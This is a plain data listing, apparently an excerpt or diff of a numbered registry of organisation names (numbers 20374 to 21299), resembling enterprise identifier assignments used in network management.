+20374 TOKYO ELECTRON DEVICE NAGASAKI LIMITED
+20375 ATT - AudioText Telecom AG
+20376 Century Systems Inc.
+20377 ITMG GmbH
+20378 Sabancy Telekomünikasyon Hizmetleri A.?.
+20379 Specstroy-Svyaz
+20380 Privacy, Inc.
+20381 ShopperTrak
+20382 Working Knowledge, Inc
+20383 CNCLabs(CHINA NETCOM GROUP LABS)
+20384 GAIA e.V.
+20385 Frameworx, Inc.
+20386 Apple Daily Publication Development Limited,Taiwan Branch
+20387 Externet Kft
+20388 Streamwide SAS
+20389 Cape Clear Software
+20390 I&C Energo a.s. (formerly 'OT Energy Services a.s.')
+20391 FAKUS Elektronik GmbH
+20392 Oberfinanzdirektion Berlin
+20393 Money Services, Inc.
+20394 ackrium
+20395 Sircom software
+20396 Erbach Associates
+20397 Telecooperation Office, University of Karlsruhe
+20398 Quintech Electronics and Communications Inc.
+20399 Educational Consulting Services, Inc.
+20400 Raytech Technologies, Ltd.
+20401 InterMetro Communications
+20402 COSTRON Co., Ltd.
+20403 First Communication, Inc.
+20404 PT. ELEKTRINDO NUSANTARA
+20405 Omkhar, LLC
+20406 Naesasoft,Inc.
+20407 Fuhrer Engineering AG
+20408 SNMP Laboratories (formerly 'pysnmp')
+20409 Kvinnherad Breiband AS
+20410 Janusys Networks, Inc.
+20411 lepo
+20412 OAO Link
+20413 University of Exeter
+20414 Fracarro Radioindustrie S.p.A.
+20415 Solid AB
+20416 Fifth Third Bank
+20417 EUROTUNNEL
+20418 VectorMAX Corporation
+20419 Security Certificates UK ltd
+20420 Dyaptive Systems Inc.
+20421 RangoSur S.A.
+20422 The Log4perl Project
+20423 NSS S.A.
+20424 LUKA netconsult GmbH
+20425 Noea Corporation
+20426 Tellus Group Corp.
+20427 TKD
+20428 ISTIA-AUTO
+20429 Kaliop Interactive Media
+20430 OPTIMUM SYSTEMES INFORMATION
+20431 Inventa Technologies, Inc.
+20432 iTRACS Corporation
+20433 Phoenix Broadband Technologies, LLC.
+20434 Boca Internet Technologies, Inc. dba AlertSite
+20435 Seenetix d.o.o.
+20436 TransUnion LLC
+20437 Func. Internet Integration
+20438 CITIZEN WATCH CO.,LTD
+20439 Bodgit & Scarper
+20440 PATLITE Corporation
+20441 REMASYS Pty. Ltd.
+20442 Samsung SDS Co., Ltd.
+20443 Open Development
+20444 MAX SCHMIDT PAPIERLOGISTIK
+20445 Noncommercial partnership <Open Food Stock>
+20446 Colegio Ingenieros Caminos Canales Puertos
+20447 APX UK Ltd.
+20448 Gibr.Net
+20449 NetWisdom(Beijing)Technology co,ltd
+20450 Indigo Corp.
+20451 Identiga Karto
+20452 FishNet, Inc.
+20453 Nakina Systems
+20454 Middlesex Community College
+20455 Concorde Microsystems
+20456 Omnis Network, LLC
+20457 Incipient, Inc.
+20458 Schneider National, Inc.
+20459 Oki Electric Industry Co., Ltd. (formerly 'OF Networks Co., Ltd.')
+20460 goldenfile ltd
+20461 Organika-Kuznetsk
+20462 Multimedia Project Srl
+20463 Perceval
+20464 Mi4e AB
+20465 Caja de Ahorros de CASTILLA-LA MANCHA
+20466 DS Wilson Consulting
+20467 SAPIENS TECHNOLOGIES Ltd
+20468 TatraMed Software s.r.o.
+20469 Lycos Europe GmbH
+20470 WINGcon AG
+20471 Banca di Roma S.p.A.
+20472 Lyra Network
+20473 Parlamento de Andalucia
+20474 LondonLink Ltd
+20475 Avalanche Mobile BV
+20476 Fachhochschule Ravensburg-Weingarten
+20477 Buongiorno S.p.A.
+20478 Noopys Store company
+20479 UMC Genomics Lab
+20480 StrikeForce Technologies, Inc.
+20481 CUBETECH
+20482 L B Enterprises
+20483 Ministerio de Hacienda
+20484 Sukra Helitek, Inc.
+20485 Fuchsia Open Source Solutions
+20486 ChyronHego Corporation (formerly 'Chyron Corporation')
+20487 AXT Systems Pty Limited
+20488 DTMC Systems
+20489 Geotek Design Services
+20490 China Putian Institute of Technology
+20491 Teamsun Technology Co.,Ltd
+20492 MTT Computer Consulting, Inc
+20493 Koblenzer Elektrizitätswerk und Verkehrs-AG
+20494 Consejo General del Poder Judicial
+20495 Marvell Semiconductor Israel, Ltd
+20496 CellVision AS
+20497 Universita' Mediterranea di Reggio Calabria
+20498 Gnoble Technologies
+20499 Azeus Systems Ltd.
+20500 Soft Link AG
+20501 Padcom
+20502 Albertsons Inc.
+20503 BearingPoint NZ Ltd
+20504 Franz Chladek - EDV Dienstleistungen
+20505 Astrogator
+20506 Huetron Co.Ltd
+20507 Luvantix Co.Ltd
+20508 Urbandale Community School District
+20509 Dixon Hughes PLLC
+20510 National Taiwan University Hospital
+20511 Manzanita Systems
+20512 Romania Internet Security Systems
+20513 SARK Consultants Private Limited
+20514 Home Office Life kernel
+20515 FJD Information Technologies AG
+20516 Battle Eagle Entertainment, Inc.
+20517 eBuild.ca Inc.
+20518 Flashbit Ruf and Heide GbR
+20519 Y Soft, s.r.o.
+20520 Cronyx Engineering
+20521 PSDA, Inc.
+20522 Javalobby.org
+20523 Tom Addis Automotive Group
+20524 SunStar Systems, Inc.
+20525 Anacomp, Inc.
+20526 Franciscan Missionaries of Our Lady Health System, Inc.
+20527 Sathee Inc
+20528 PARANA EM REDE SISTEMAS LTDA.
+20529 AMETEK SolidState Controls Inc de Argentina
+20530 Johannes Kornfellner
+20531 Matrix Networx
+20532 DevStream Corporation
+20533 2Know-IT GmbH
+20534 Uniklinik Ulm
+20535 Latvijas Mobilais Telefons SIA
+20536 Austrian Parliament
+20537 NIPPON EXPRESS CO.,LTD
+20538 FIBRENETIX
+20539 //////////fur////
+20540 Red Lion Controls (SIXNET)
+20541 CITTIO, Inc.
+20542 AirLink Communications, Inc.
+20543 Optovia Corporation
+20544 Sungkyunkwan University
+20545 BusinessLink Advertising Ltd.
+20546 Wissenschaftszentrum Berlin fuer Sozialforschung gGmbH
+20547 Matthias Braun EDV
+20548 SAP Hosting
+20549 Pride S.p.A.
+20550 Red Squared plc
+20551 DDR Freak, LLC
+20552 Swisscom Broadcast SA
+20553 Wellington Management Company, LLP
+20554 kraai.org
+20555 eTelemetry, Inc.
+20556 Hastings Entertainment Inc.
+20557 NOFware, Ltd.
+20558 University College of Oslo. Faculty of Engineering
+20559 Engedi Technologies, Inc.
+20560 Alexander Janssen Consulting
+20561 LiveWave, Inc.
+20562 North Electric Company, Inc.
+20563 TNC S.A.
+20564 Albuquerque Technical Vocational Institute
+20565 Oxford Wireless Networks Ltd
+20566 Taonix
+20567 TELEGRID Technologies, Inc.
+20568 Citco Technology Mangement, Inc.
+20569 Inventec Enterprise System Corp.
+20570 ShenZhen Yinghetong Information & Technology Co.,Ltd.
+20571 International Turnkey Systems
+20572 virtual-image
+20573 Universitaetsklinikum Aachen
+20574 OXYAN SOFTWARE
+20575 Nucleonet Inc
+20576 University of Wales, Bangor
+20577 schunk edv systeme gmbh
+20578 St Ives Plymouth Ltd
+20579 BITSO Build IT Solutions GmbH
+20580 Kiwi Enterprises
+20581 EVR Ltd.
+20582 Ebocom, LLC
+20583 Union Switch & Signal
+20584 Hunan Talkweb Information System Co. Ltd.
+20585 Diamond State Port Corp.
+20586 Century Digital Investment & Management Consulting Ltd.
+20587 Rose Electronics
+20588 MaxTronic International Co., Ltd.
+20589 UKeduPerson Pilot
+20590 RUBY Inc.
+20591 VISTA International Ltd.
+20592 People's Telephone Saratov, cjsc
+20593 Guangdong Multiplication Communication Ltd Co.
+20594 XSif Software
+20595 Prefeitura Municipal de Florianopolis
+20596 TomWare s.r.l.
+20597 SurfCloud Ltd
+20598 eReM.Studio
+20599 Coventry Health Care, Inc.
+20600 Atlab s.r.l.
+20601 Thomas Jefferson High School for Science and Technology
+20602 Xaraya Development Group
+20603 Softhouse Informatica Ltda.
+20604 Nexior IT Services
+20605 Antepo, Inc.
+20606 CLINIQUES UNIVERSITAIRES SAINT-LUC
+20607 University of Angers
+20608 Radboud University Nijmegen
+20609 Scalable Computing Lab
+20610 NOAA, OAR, FSL, ITS, DSG
+20611 Flarepath Software Limited
+20612 Time iCR
+20613 Université catholique de Louvain (UCL)
+20614 Exeo Technologies Inc.
+20615 Netli, Inc.
+20616 CGS World Inc.
+20617 TeTeSys
+20618 Cinetica s.r.l.
+20619 UPC Ceska republika, a.s.
+20620 Valox Systems Co.Ltd
+20621 Crystal Technology Solutions Group Inc
+20622 IainG
+20623 RSDB Holding b.v.
+20624 Nexus Telecom AG
+20625 Serviciul de Telecomunicatii Speciale
+20626 Software Systems A/S
+20627 Institut National d'Histoire de l'Art
+20628 Qual-Pro Corporation
+20629 STREAMTEL
+20630 ODIBOSS NETWORKS
+20631 MC110-GRUPO1
+20632 Barracuda Networks, Inc.
+20633 Security First Networks
+20634 Langochat
+20635 IberiSign
+20636 Bendigo and District Division of General Practice Inc.
+20637 University of Texas of the Permian Basin
+20638 Capital Markets CRC
+20639 Entura, LLC
+20640 Inomial Pty Ltd
+20641 Vincent Consulting Group Inc.
+20642 Nexus Community
+20643 Prime MX
+20644 Vaasa Polytechnic
+20645 Poly Information Ltd.
+20646 Convergenz
+20647 University of Cambridge Computer Laboratory
+20648 PK7
+20649 Tyco Safety Products
+20650 WG78 Ptb central
+20651 Computer Vision Networks, Inc.
+20652 Arizona Department of Environmental Quality
+20653 Illusions Internet Solutions
+20654 Telegence Corporation
+20655 Ikoro Digital Inc
+20656 Archer
+20657 Rascular Technology Ltd
+20658 Finobra S.A.
+20659 Comodo Japan Inc.
+20660 Topone Information technology Co., Ltd
+20661 Hitachi ULSI Systems Co., Ltd.
+20662 Heiko Jerke
+20663 BV Associates
+20664 NDE Netzdesign und -entwicklung AG
+20665 Enervation GmbH
+20666 Synchronoss Technologies Inc
+20667 Prosilient Technologies AB
+20668 Kaballero.Com LLC
+20669 jelte.com
+20670 SysCologne, Lutz Mischa Heitmüller
+20671 Gee-Wiz Consultancy
+20672 MemoryLink Corp
+20673 MRO Direct, Inc
+20674 Fullerton Elementary School District
+20675 Reed Networks
+20676 NIS4Grids
+20677 Pulizzi Engineering, Inc.
+20678 Department of Computer Science, Rensselaer Polytechnic Institute
+20679 Helmer & Zimmermann GmbH & Co.KG
+20680 Tekmark/CSL International Solutions Inc.
+20681 Anta Systems, Inc.
+20682 Campusmart Ltd.
+20683 DigiDoc AB
+20684 Metropolitan Health Corporate (Proprietary) Limited
+20685 ADIES
+20686 Pohl & Co. GmbH & Co. KG
+20687 Roving Planet, Inc.
+20688 Seiri Inc.
+20689 Alliance Information Systems, LLC
+20690 Harald Svab
+20691 Techtell, Inc.
+20692 Ruffdogs
+20693 DYNAWEB IT Services L.P.
+20694 Lightspeed Technologies Pte. Ltd.
+20695 StratusStation Group Inc.
+20696 Caixa Andorrana de Seguretat Social
+20697 ThinPrint GmbH
+20698 Lipetskenergo JSC
+20699 CitiMortgage
+20700 Trend Communications Ltd
+20701 Peryam & Kroll Research Corporation
+20702 Ritchie Capital Management
+20703 eBuz Internetdienste GbR
+20704 muumilaakso ry
+20705 Holguin, Fahan & Associates, Inc.
+20706 Vision Web Networks, LLC
+20707 InterCerve, Inc.
+20708 SYSLAB.COM GmbH
+20709 Fremme's SOFTWARE-Utvikling
+20710 American Medical Response Inc.
+20711 Platform Solutions, Inc.
+20712 Paradise Datacom LLC
+20713 Noran Tel Communications Limited
+20714 limitland development
+20715 GiK Gesellschaft fuer innovative Kommunikationssysteme mbH
+20716 Corbel Solutions, Inc
+20717 FF Network Inc
+20718 American School Foundation of Monterrey, A.C.
+20719 SHIN.Ltd
+20720 MX Logic Inc
+20721 Atomicweb, LLC
+20722 NetSpira Networks
+20723 Indus International, Inc.
+20724 Csibra Bt
+20725 Etria, LLP
+20726 Wilmington College
+20727 Net Theatre
+20728 Spook Limited
+20729 Piotr Matusz
+20730 eEye Digital Security
+20731 TrueTel Communications Inc
+20732 BlueScope Steel Limited
+20733 JA Davey
+20734 Internet Sheriff Technology Ltd
+20735 ANDSCO I.T. Pty Ltd
+20736 RS Telematica e Tecnologia da Informacao Ltda
+20737 Cynics at Large
+20738 TIBBO Technology, Inc.
+20739 Cortec Systems Pty Ltd
+20740 AXISSOFT Corporation
+20741 Qala Singapore Pte Ltd
+20742 Hormann Funkwerk Kölleda
+20743 ISO (International Organization for Standardization)
+20744 ICZ a.s.
+20745 WLN Technologies
+20746 DIS Data Integration Services GmbH
+20747 NORTEK
+20748 Frei GmbH
+20749 Grintek TCI (Pty) Ltd
+20750 Technolution BV
+20751 PERAX
+20752 SA Polyclinique de Courlancy
+20753 Pharos Consulting (Pty) Ltd.
+20754 Universitätsklinikum Aachen
+20755 WestGlobal Ltd.
+20756 het Concertgebouw NV
+20757 Prisacom s.a.
+20758 netSurity Ltd
+20759 Kepler-Rominfo S.A.
+20760 Autonomous noncommercial organization "Scientific and Training Center of Information Security of Pr
+20761 Uniklinikum Mannheim
+20762 Passage Consortia C/O Sony Electronics (Trustee)
+20763 Fastenal Company, Inc.
+20764 David Cross Technical Consulting
+20765 Rosati Kain
+20766 QAI India Ltd
+20767 Vereinigte Postversicherung VVaG
+20768 St. Mary's High School
+20769 Immaculate Conception School
+20770 ADSTRA SYSTEMS INC.
+20771 Priority Networks, Inc.
+20772 Optica Technologies Inc.
+20773 Accenture Business Services for Utilities
+20774 OMT Systems (Shenzhen) Limited
+20775 Aspire Information Services, LLC
+20776 INAF - Osservatorio Astronomico di Padova
+20777 Flexetech Solutions, Inc.
+20778 SmartWare
+20779 Inova Venture Pte Ltd
+20780 Gemeinsamenes Gebietsrechenzentrum Hagen - SG 2.5
+20781 Scientific Research Institute of Applied Information Technologies
+20782 soc. coop. bilanciai
+20783 ARGELA Yazilim ve Bilisim Teknolojileri A.S.
+20784 HiTeKnowledge Limited
+20785 Beta Systems Software AG
+20786 Techspan System Ltd
+20787 Parc Cientific de Barcelona
+20788 Unassigned
+20789 PowerMeMobile.com
+20790 Harrington Group, Inc.
+20791 keyX.net Consulting SRL
+20792 Erdmann Systemberatung
+20793 NetBridge Inc.
+20794 IT Schaller GmbH
+20795 REALTIMEIMAGE
+20796 ShenZhen Roytel Technology Ltd.
+20797 Great Dragon Infomation Technology(Group)Co.,Ltd.
+20798 TDN GmbH
+20799 Universitaet Konstanz
+20800 JSC Promsvyaz-Invest
+20801 Exxon Mobil Corporation
+20802 Sanlam Ltd.
+20803 Tyler Retail Systems, Inc.
+20804 Open PLC European Research Alliance (Opera)
+20805 Beijing Sunniwell BroadBand ditital technology Corp. Ltd.
+20806 Segurmatica
+20807 Federal Bureau of Investigation
+20808 Monaco Telecom
+20809 Agami Systems, Inc.
+20810 Hamilton Consulting NSW Pty Ltd
+20811 International Securities Exchange, LLC
+20812 NetMon Information Systems Ltd.
+20813 Ipcon Informationssysteme oHG
+20814 AMC SA
+20815 Zend Technologies Ltd.
+20816 Alexandru Ioan Cuza University
+20817 Argos Messtechnik GmbH
+20818 SUNTEK TECHNOLOGY CO., LTD.
+20819 Allenbrook, Inc.
+20820 The University of Texas at San Antonio
+20821 Information and Display Systems, LLC
+20822 Franwell, Inc.
+20823 Carefx Corporation
+20824 Lions Gate Software, Inc.
+20825 Touch22 Software and Consulting
+20826 Convera
+20827 Banco Central de Costa Rica
+20828 Schweizerische Lebensversicherungs- und Rentenanstalt
+20829 Stadtverwaltung Dresden
+20830 Reflex AS
+20831 CZFree.Net
+20832 Ryder Systems Ltd.
+20833 Terminales de Telecomunicacion Terrestre, S.L.
+20834 Alike Group
+20835 BD Digital Lab. Co., Ltd
+20836 Confer Computing Consultants Company
+20837 eRJe.net
+20838 GaVI mbH
+20839 Broadcast Tools, Inc.
+20840 Thomson Technology Limited
+20841 The Community Group Inc
+20842 Arena Solutions, Inc.
+20843 Philipp Strozyk
+20844 L'OREAL
+20845 Linux Information Systems AG
+20846 SURFsara
+20847 Atlas Development Corporation
+20848 Zope Corporation
+20849 OMT Systems (Shenzhen) Limited
+20850 TechNerdVana
+20851 Groupe Bell Nordiq inc.
+20852 CrimTrac
+20853 Eurorail International
+20854 OTC Wireless Inc.
+20855 Scientific Technologies Corp
+20856 Pattern Matched Technologies
+20857 Inspired Technologies Ltd
+20858 Casa Systems, Inc.
+20859 Citco Technology Mangement, Inc.
+20860 Liberty Enterprises Inc.
+20861 Dansk System Elektronik A/S
+20862 Online Learning Australia Pty. Ltd.
+20863 Utiba Pty Ltd
+20864 Tower Technologies
+20865 Sri Lanka Telecom
+20866 Eljakim Information Technology BV
+20867 danfferliu Corporation
+20868 Helge Gudmundsen
+20869 Frank Vercruesse
+20870 Pufferbox Pty. Ltd.
+20871 Kredietbank S.A. Luxembourg
+20872 Sto AG
+20873 PROTEI Ltd
+20874 Håmsø Patentbyrå ANS
+20875 DevExperts LLC
+20876 Vorarlberger Telekommunikations GesmbH
+20877 Vine Linux
+20878 VineCaves, Ltd.
+20879 MBIT GmbH
+20880 MagnaQuest Technologies
+20881 Catenare LLC
+20882 PCDEMANO Inc
+20883 Evangelische Landeskirche Wuerttemberg
+20884 BDT GmbH & Co. KG
+20885 Kontron Modular Computers SA (formerly 'Thales Computers')
+20886 Dr. Glinz COVIS GmbH
+20887 SOLSOFT
+20888 SIS Spektrum s.r.o.
+20889 Comsys B.V.
+20890 Sebastian Kueppers Computer-, Medien- und Eventservice
+20891 Star Internet Ltd.
+20892 CITEL Technologies Inc.
+20893 LShift Ltd
+20894 Yirdis B.V.
+20895 Diplomado
+20896 NuVox Communications, Inc.
+20897 Determina Inc.
+20898 Sungard SBI
+20899 Apollo Interactive, Inc.
+20900 Quantech Global Services LLC
+20901 Virtual Business Communities Inc.
+20902 johnstonshome.org
+20903 Children's Hospital - Boston
+20904 Risolviamo
+20905 Unicible S.A.
+20906 Cubika S.A.
+20907 Regent College
+20908 Emergin, Inc.
+20909 Exempla Healthcare
+20910 PT OneHUB Technology
+20911 twilley.org
+20912 Publishing firm «Vidrodzhenia» Ltd.
+20913 OJSC RTComm.RU
+20914 Deutsche Telekom - CSC Wuerzburg
+20915 NATIONAL-BANK AG, Essen
+20916 AVTECH Software, Inc.
+20917 FondsServiceBank
+20918 Wicked Studio
+20919 Manobi
+20920 PKWARE, Inc.
+20921 Hillstone Products Ltd
+20922 Pro Dimension Ltd.
+20923 Myxomop
+20924 Proyecto OTF U.de.Chile
+20925 Baker & McKenzie
+20926 Mase Technologies, LLC
+20927 TSI Sports Incorporated
+20928 Tangent Systems
+20929 SYSGO AG
+20930 René Alegría Sáez
+20931 Software Builders Exchange
+20932 yobe.org
+20933 Tomsk State University of Control Systems and Radioelectronics
+20934 ITdesign software projects and consulting
+20935 Anystream, Inc.
+20936 CHINA COMMUNICATIONS STANDARDS ASSOCIATIONS
+20937 Nimrod AS
+20938 ETL Systems Ltd.
+20939 videoNEXT LLC
+20940 The eBiz Shop, LLC.
+20941 Palo Alto Research Center, Inc.
+20942 China Telecom-Guangzhou Research and Development Center
+20943 QOSMOS SA
+20944 Modular Blade Server
+20945 East Online, LLC
+20946 BDM Business Data Management GmbH
+20947 Cox Communications San Diego
+20948 manzanita Inc.
+20949 Anadarko Petroleum Inc.
+20950 Interhack Corporation
+20951 Brevient Technologies, Inc.
+20952 Exabridge
+20953 Haifa University
+20954 Xtendreach Limited
+20955 Sunet
+20956 Emerson Climate Technologies, Alco Products
+20957 E-Government Solutions (UK) Ltd.
+20958 I-Nex Corporation Pty. Ltd.
+20959 Siemens d.d. Hrvatska
+20960 Laboratory of Content Systems(LCS)
+20961 Communication Technologies
+20962 Multimedia Polska
+20963 Kattare Internet Services
+20964 Camille Bauer
+20965 HVR Consulting Services Ltd
+20966 Jesus College, Oxford
+20967 Anevia
+20968 Genomatix Software GmbH
+20969 EUDATA SYSTEMS S.A.
+20970 LISA GmbH
+20971 Baltnet Ltd.
+20972 British Airways Plc
+20973 NextiraOne Czech s.r.o.
+20974 American Megatrends, Inc
+20975 PONTUSYS
+20976 Paul Smith Computer Services
+20977 Comune di Imola
+20978 DC-SatNet Ltd.
+20979 WT Finland Ltd
+20980 tux LLC
+20981 Atrocity MUD
+20982 PCDEMANO Inc
+20983 IIT Madras
+20984 Geonetics
+20985 Nethonnun ehf.
+20986 Universidad del CEMA
+20987 Philadelphia Computer Institute
+20988 Rackspace
+20989 Systems Research and Development, Inc.
+20990 Aspect Loss Prevention LLC
+20991 Family-Williams Inc.
+20992 CradlePoint, Inc.
+20993 Camujo
+20994 Europa Communications Pty Ltd
+20995 Progress Energy
+20996 ACCESS Co. Ltd.
+20997 Lotus Technologies SRL
+20998 Honeywell International Inc
+20999 Willis Group
+21000 imetric
+21001 Stratizon Inc.
+21002 Parallax Networking Limited
+21003 Dynamic Network Integration, Inc.
+21004 American Technology Integrators Corporation
+21005 GERMAN NETWORK GMBH
+21006 OpenDAS.org
+21007 InoStor
+21008 Informed Control Inc.
+21009 McGuire & Associates, Inc
+21010 eCollege
+21011 DotNetShop
+21012 iHotel International Inc.
+21013 Xirrus, Inc.
+21014 Gamerz Hub
+21015 Art of Living Foundation
+21016 IntruGuard Devices
+21017 IPeak Networks Inc.
+21018 Paxar Americas, Inc.
+21019 River Systems, Inc
+21020 Stowarzyszenie Freeze NET Amatorska Siec Komputerowa
+21021 Perimeter Technology Center, Inc.
+21022 The College Board
+21023 Forbrich Computer Consulting Ltd.
+21024 Electronics corporation of india. Ltd
+21025 ICOMM TELE LTD.
+21026 Hauf Electric Co.
+21027 MIP
+21028 Digital Motorworks, LP.
+21029 Giant Steps
+21030 PeerApp
+21031 Helga Adam und Rocio Manzano Romero GBRmbH
+21032 Argent Networks ltd
+21033 Taikang Life Insurance Co.,Ltd.
+21034 Pratama Sastriawan Systems
+21035 DEV Systemtechnik GmbH
+21036 Ultrapower Software Co., Ltd. Beijing
+21037 CHUNG HUNG STEEL CO., LTD.
+21038 Radio IP Software Inc.
+21039 YuCa Tech. Corp.
+21040 Fiberplex, Inc
+21041 Banchile Corredores de Bolsa S.A.
+21042 PRT Systems Ltd
+21043 AREVA
+21044 Mauro Calderara
+21045 Intinor AB
+21046 University Of Wisconsin Extension
+21047 Banco de Credito e Inversiones
+21048 Copenhagen Municipal
+21049 ROMPETROL SA
+21050 Freebits
+21051 Init Seven AG
+21052 Interact S.A.
+21053 Singlefin
+21054 Yardi Systems, Inc.
+21055 Sri Lanka Telecom Services Ltd.
+21056 DeployLinux Consulting
+21057 Themis Computer
+21058 Tizor Systems
+21059 Nyvri
+21060 Global Healthcare Exchange
+21061 Netaquila Solutions Pvt. Ltd
+21062 Chris Forkin Consulting
+21063 MaqSys
+21064 TSingTec Ltd.
+21065 SHENZHEN WLAN Research Center,CCSA
+21066 SNCF (Société Nationale des Chemins de fer Français)
+21067 Elitecore Technologies Ltd.
+21068 University of Southern Denmark
+21069 Radford Control Systems
+21070 Intentia Research & Development
+21071 EFS Inc.
+21072 Arnold Magnetics
+21073 webcreations.ca
+21074 PureWave Networks, Inc.
+21075 Old Red Mill
+21076 Science Museum of Minnesota
+21077 DigiTar
+21078 dafa
+21079 HAIPE
+21080 Frog Navigation Systems B.V.
+21081 Persium Inc.
+21082 EUN Partnership a.i.s.b.l.
+21083 Mairie de Paris
+21084 SD Laboratories
+21085 Open Alliance Sofware Libre, S.A.
+21086 Monolith Productions
+21087 Infosia Services
+21088 krix.biz Internetdienstleistungen
+21089 Flywheel Corporation
+21090 Ithaka Harbors, Inc.
+21091 Exinda Networks Pty Ltd
+21092 Raindance Wireless
+21093 Got.Net - The Internet Connection, Inc.
+21094 Ricoh Australia Pty Ltd
+21095 Commonwealth Bank of Australia
+21096 Quantier Inc.
+21097 Kerr-McGee Corporation
+21098 IECAS(Chin. Acad. of Sci)
+21099 Alltrix Sdn Bhd
+21100 Linwork Informática S/C Ltda
+21101 Verreau Enterprise
+21102 ControlTier Software, Inc.
+21103 Mandrakesoft
+21104 Mofet Instititue
+21105 MANGO networks Inc.
+21106 Shanghai Ulink Telecom Technologies Co., Ltd.
+21107 Novagem Ltd
+21108 Harting Electric GmbH & Co KG
+21109 Knowledge Zone
+21110 SANITOP-WINGENROTH GmbH & Co. KG
+21111 Datalogic S.p.A
+21112 TNO Telecom
+21113 Hashbang Consulting Ltd
+21114 Contec s.j.
+21115 TFTEN SA
+21116 NoVi Pawel Zimnoch
+21117 AMG Systems Limited
+21118 AB2R
+21119 Guru, informacijske tehnologije d.o.o.
+21120 Sanofi-Aventis
+21121 m0n0
+21122 G.I.S. Global Information Services GmbH
+21123 Amps llc
+21124 Adesium
+21125 dico-online
+21126 vFortress Network Security Pvt. Ltd.
+21127 KCI Technologies, Inc.
+21128 Heimetli Software AG
+21129 Ideal Solution, LLC
+21130 GlassHouse UK Ltd
+21131 Phonesync Ltd.
+21132 Novum Information Technology BV
+21133 University of Iowa Hospitals and Clinics
+21134 University of Minnesota
+21135 Kimmel.biz
+21136 North Central University
+21137 Astron Computer Corporation
+21138 Electrosys S.r.l.
+21139 Proofpoint, Inc.
+21140 Xernolan Consulting
+21141 Elemental Security, Inc.
+21142 ITER
+21143 Devis
+21144 Maieutica - Cooperativa de Ensino Superior, Crl
+21145 Intalio, Inc.
+21146 Wiltel Communications LLC
+21147 Innotrac Corporation
+21148 Soleil Securities Group, Inc.
+21149 H Bauer Ediciones
+21150 XKL, LLC
+21151 Priority Technologies, Inc.
+21152 Nucor Steel Indiana
+21153 Academy of Fine Arts
+21154 Harland Financial Solutions
+21155 Chameleon Technology, Inc.
+21156 pipp
+21157 RAE Internet Inc.
+21158 Linux-Online
+21159 IPcom S.A.
+21160 Emerson Retail Services
+21161 Flamingo Internet Navigators
+21162 Voxiva Inc.
+21163 EXPERTiS Tecnología S.A. de C.V.
+21164 Legacy Health System
+21165 Tidal Networks
+21166 Personal Broadband Australia
+21167 The Correspondence School
+21168 SCF of Arizona
+21169 JTHInc Computing Solutions
+21170 Vortice Research Development Pty Ltd
+21171 NRG Global, Inc.
+21172 Elan Designs
+21173 WSCICC
+21174 DISC, State of Kansas
+21175 Xinupro, LLC
+21176 Datalucid limited
+21177 St. John School
+21178 Anteya Technology Corporation
+21179 Beijing E-tech Technology Co., ltd
+21180 SwiDyna Technologies,Inc
+21181 anweb
+21182 Tonediy
+21183 lightelli Ltd.
+21184 AirMsg, Inc.
+21185 Ioneda, Inc.
+21186 Corner Stone Technology Inc
+21187 SenseStream Limited
+21188 eyes-works Corporation
+21189 Huon Associates Pty Ltd
+21190 MayAZ Software Services
+21191 KCodes Corporation
+21192 Goldman Sachs JBWere Pty Ltd
+21193 Webvision
+21194 LLC Inform-mobil
+21195 Non-Stop Systems (South Africa) (Pty) Limited
+21196 TerraPages Pty. Ltd.
+21197 CryptoEx
+21198 RTI-Zone
+21199 silkway
+21200 Dr. Ruff Software GmbH
+21201 Linuma Advanced Hosting, Inc.
+21202 BT (Germany) GmbH & Co. oHG
+21203 ARES Inc.
+21204 MHGS
+21205 Webdyn
+21206 MobileRRD
+21207 Technische Universitaet Bergakademie Freiberg
+21208 IKS GmbH Jena
+21209 Mayr-Melnhof Packaging International GmbH
+21210 kairos
+21211 Fraunhofer-Institute for Telecommunications Heinrich-Hertz-Institut
+21212 Incito Ltd
+21213 topolis.lt
+21214 Eidetix S.r.L.
+21215 MM-Karton
+21216 Telepo AB
+21217 Lux Servizi di Luigi Iotti
+21218 Sette Querce
+21219 Solidex S.A.
+21220 BASF AG
+21221 Nexus Advanced Technologies S.r.l.
+21222 Profline BV
+21223 Akris BV
+21224 4G Systeme GmbH
+21225 British Heart Foundation
+21226 Linn Products Ltd
+21227 ABI - Associazione Bancaria Italiana
+21228 Aspex Semiconductor Ltd
+21229 Leningrad Research and Development Institute of Telecommunications
+21230 Iriga Networks
+21231 Kugele Elektronik
+21232 Jung Myoung Ltd
+21233 Peter Schmaedicke
+21234 o-n-s CO.,LTD.
+21235 Nehlsen IT Training und Beratung
+21236 Laseur Enterprises
+21237 Wright Express
+21238 BrasilSat Harald S/A
+21239 Vertiv (formerly 'Geist Manufacturing, Inc')
+21240 PinguSolution Meierhoff/Woltmann GbR
+21241 Chezwam
+21242 SimDesk Technologies Inc.
+21243 LANet Sp. z o.o.
+21244 Mt Umunhum Wireless
+21245 Macdonald Associates GmbH
+21246 Quantitative Imaging
+21247 verimatrix
+21248 Pixel Software Technologies
+21249 Lightwave Solutions, Inc.
+21250 Crane River Consulting
+21251 Secure Campus Inc
+21252 FMS Internetservice Müller und Schaub GbR
+21253 TransOptix Inc.
+21254 Arxceo Corporation
+21255 SanYuHu LLC
+21256 Corporate Technologies Incorporated
+21257 Transera Communications Inc
+21258 Tongel.org
+21259 Oregon Department of Human Services
+21260 XYPRO Technology Corporation
+21261 Aventia SL
+21262 Second Shift Inc.
+21263 Pacific College of Oriental Medicine
+21264 AFC Commercial
+21265 Dark Horse Comics, Inc.
+21266 Jab Ltd
+21267 IT-Service Lehmann
+21268 Tecnocity, S.C.
+21269 OnSite Systems, Inc.
+21270 SWAL
+21271 ITT Educational Services, Inc.
+21272 Thomas P. Olsen
+21273 MediaWeb IT
+21274 Camiant Inc
+21275 n3k Informatik Ltd
+21276 A.C.C.E.S.S. Inc.
+21277 City of Ottawa
+21278 Intellambda Systems Inc.
+21279 State of Kansas
+21280 Computer Access Technology Corporation
+21281 Empresa Jornalística Caldas Júnior Ltda
+21282 SYS/IO
+21283 The Forest Industry Online Inc.
+21284 Edustructures LLC
+21285 Catalyst IT Ltd
+21286 Sygate Technologies
+21287 Mikrovlny s.r.o.
+21288 Cetacea Networks Corporation
+21289 grid-zero.net
+21290 GBP Software, LLC
+21291 Tributes Online Ltd
+21292 kaengs reich
+21293 Fabric7 Systems, Inc.
+21294 KIKA S.A.
+21295 Cunningham and Othen
+21296 Infinera Corp.
+21297 U.Z.KULeuven
+21298 Odyssey Pharmaceuticals, Inc.
+21299 BigFix, Inc.
